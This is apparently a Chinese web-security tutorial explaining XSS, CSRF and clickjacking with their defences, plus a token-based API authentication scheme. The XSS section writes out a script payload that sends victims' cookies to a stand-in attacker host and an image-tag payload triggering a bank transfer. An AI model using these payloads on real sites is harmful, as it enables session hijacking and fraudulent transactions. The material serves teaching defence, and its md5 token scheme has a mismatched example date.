### 常见web安全及防护原理

**XSS原理及防范**

XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。

相比于csrf,xss囊括的内容很多,而且往往是多种形式组合而成:

Cookie劫持、会话伪造、恶意代码等等....

①cookie劫持

页面中有一个评论输入，输入后会，因为后台的漏洞，没有过滤特殊字符，会直接明文保存到数据库中，然后展示到网页时直接展示明文数据，那么如下

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<form action="saveComment.jsp" method="post">

请输入评论内容：<BR>

<input name="content" type="text">

<input type="submit" value="确认">

</form>

然后攻击者分析后，输入

<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>

很简单的代码，由于没有过滤脚本，那么其它用户登陆后，在看到这篇文章时就会自动将他们的cookie信息都发送到了攻击者的服务器。

攻击者可以在cookie（譬如jsessionid对应的session）有效期内拿它们冒充用户操作。

②会话伪造

同样是评论漏洞的示例,攻击者输入（举例比喻）

<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>

然后，接下来发生的故事就和CSRF中提到的一致。这种情况就是基于XSS而开展的CSRF，也有人喜欢称之为XSRF,需要注意，这里并没有自己拿到cookie，而是CSRF中提到的利用浏览器的隐式验证机制来冒充用户。

③其它恶意代码执行

譬如前面的评论中的输入可以是：

市面上盛行的网页游戏弹窗等。

干脆直接让这个页面卡死都可以。

无限循环。

**XSS(跨站脚本攻击) 防御手段：**

两端进行输入格式检查,对”<”,”>”,”;”,”’”等字符做过滤

通过编码转义的方式进行输出检查,任何内容写到页面之前都必须加以encode

白名单整理,对于用户输入的html,**所有的标签、属性都只从白名单中拿取。**

如果网站不需要再浏览器端对cookie 进行操作，可以在Set-Cookie 末尾加上**HttpOnly** 来防止javascript 代码直接获取cookie。

**CSRF：跨站请求伪造，缩写为：CSRF/XSRF。**

你这可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。

原理图：



要完成一次CSRF攻击，受害者必须依次完成两个步骤：

**1.登录受信任网站A，并在本地生成Cookie。**

**2.在不登出A的情况下，访问危险网站B。**

注意:

Csrf根本不知道cookie是什么,而仅仅是利用浏览器的隐式校验方式冒充用户

**CSRF(攻击跨站请求伪造) 防御手段：**

①token验证机制，比如请求数据字段中添加一个token，响应请求时校验其有效性

优点：比检查Referer方法更安全，并且不涉及用户隐私

缺点：对所有的请求都添加Token比较困难

②用户操作限制，比如验证码（繁琐，用户体验差）

③Referer首部包含了当前请求页面的来源页面的地址,利用HTTP头中的Referer判断请求来源是否合法

优点：简单易操作

缺点：服务器并非什么时候都能取到Referer

很多出于保护用户隐私的考虑，限制了Referer的发送。

比如从HTTPS跳转到HTTP，出于安全的考虑，浏览器不会发送Referer

**点击劫持（ClickJacking）**

点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe，覆盖在一个网页上，然后诱使用户在网页上进行操作，此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置，可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

**防御点击劫持：**

X-Frame-Options HTTP响应头是用来给浏览器指示允许一个页面能否在<frame>、<iframe>、<object>中展现的标记

有三个可选的值

DENY：浏览器会拒绝当前页面加载任何frame页面（即使是相同域名的页面也不允许）

SAMEORIGIN：允许加载frame页面，但是frame页面的地址只能为同源域名下的页面

ALLOW-FROM：可以加载指定来源的frame页面（可以定义frame页面的地址）

**移动端与服务端的通信就需要2把钥匙，即2个token。**

第一个token是针对接口的（api\_token）；

第二个token是针对用户的（user\_token）；

**针对接口的token**

**生成规则参考如下：**

api\_token = md5 ('模块名' + '控制器名' + '方法名' + '2017-07-18' + '加密密钥') = 770fed4ca2aabd20ae9a5dd774711de2

其中:

'2013-12-18' 为当天时间

'加密密钥' 为私有的加密密钥，手机端需要在服务端注册一个“接口使用者”账号后，系统会分配一个账号及密码

**具体交互的过程:**

①客户端生成自己api\_token,发送: 请求数据 client\_id 和 api\_token到服务器

②服务器里面存储了各个用户的client\_id及对应的密钥,它根据客户端传过来的client\_id，查询数据库，获取对应的client\_secret(密钥)。

③服务器重新生成一份api\_token\_server,用上面同样的方式:

$api\_token\_server = md5($module.$controller.$action.date('Y-m-d', time()).$client\_secret);

④服务器将客户端传过来的api\_token与自己生成的api\_token\_server进行校对，如果不相等，则表示验证失败。如果相等,则通过验证,将数据返回到客户端。

**针对用户的token**

如果接口需要用户登录，其访问流程如下：

1、用户提交“用户名”和“密码”，实现登录（条件允许，这一步最好走https）；

2、登录成功后，服务端返回一个 user\_token

服务端生成user\_token 后，返回给客户端（自己存储），客户端每次接口请求时，如果接口需要用户登录才能访问，则需要把 user\_id 与 user\_token, api\_token 传回给服务端，服务端接受到**这2个参数后，需要做以下几步：**

1、检测 api\_token的有效性；(第一步还是检验接口token)

2、删除过期的 user\_token 表记录；

3、根据 user\_id，user\_token 获取表记录，如果表记录不存在，直接返回错误，如果记录存在，则进行下一步；

4、更新 user\_token 的过期时间（延期，保证其有效期内连续操作不掉线）；

5、返回接口数据。

**那么token如何传递呢，ajax中传递token有以下几种方式：**

1、放在请求头中：

headers: {

Accept: “application/json;charset=utf-8”,

userToken: “” + userToken

}

2、使用beforeSend方法设置请求头

beforeSend: function(request) {

request.setRequestHeader(“Authorization”,token);

}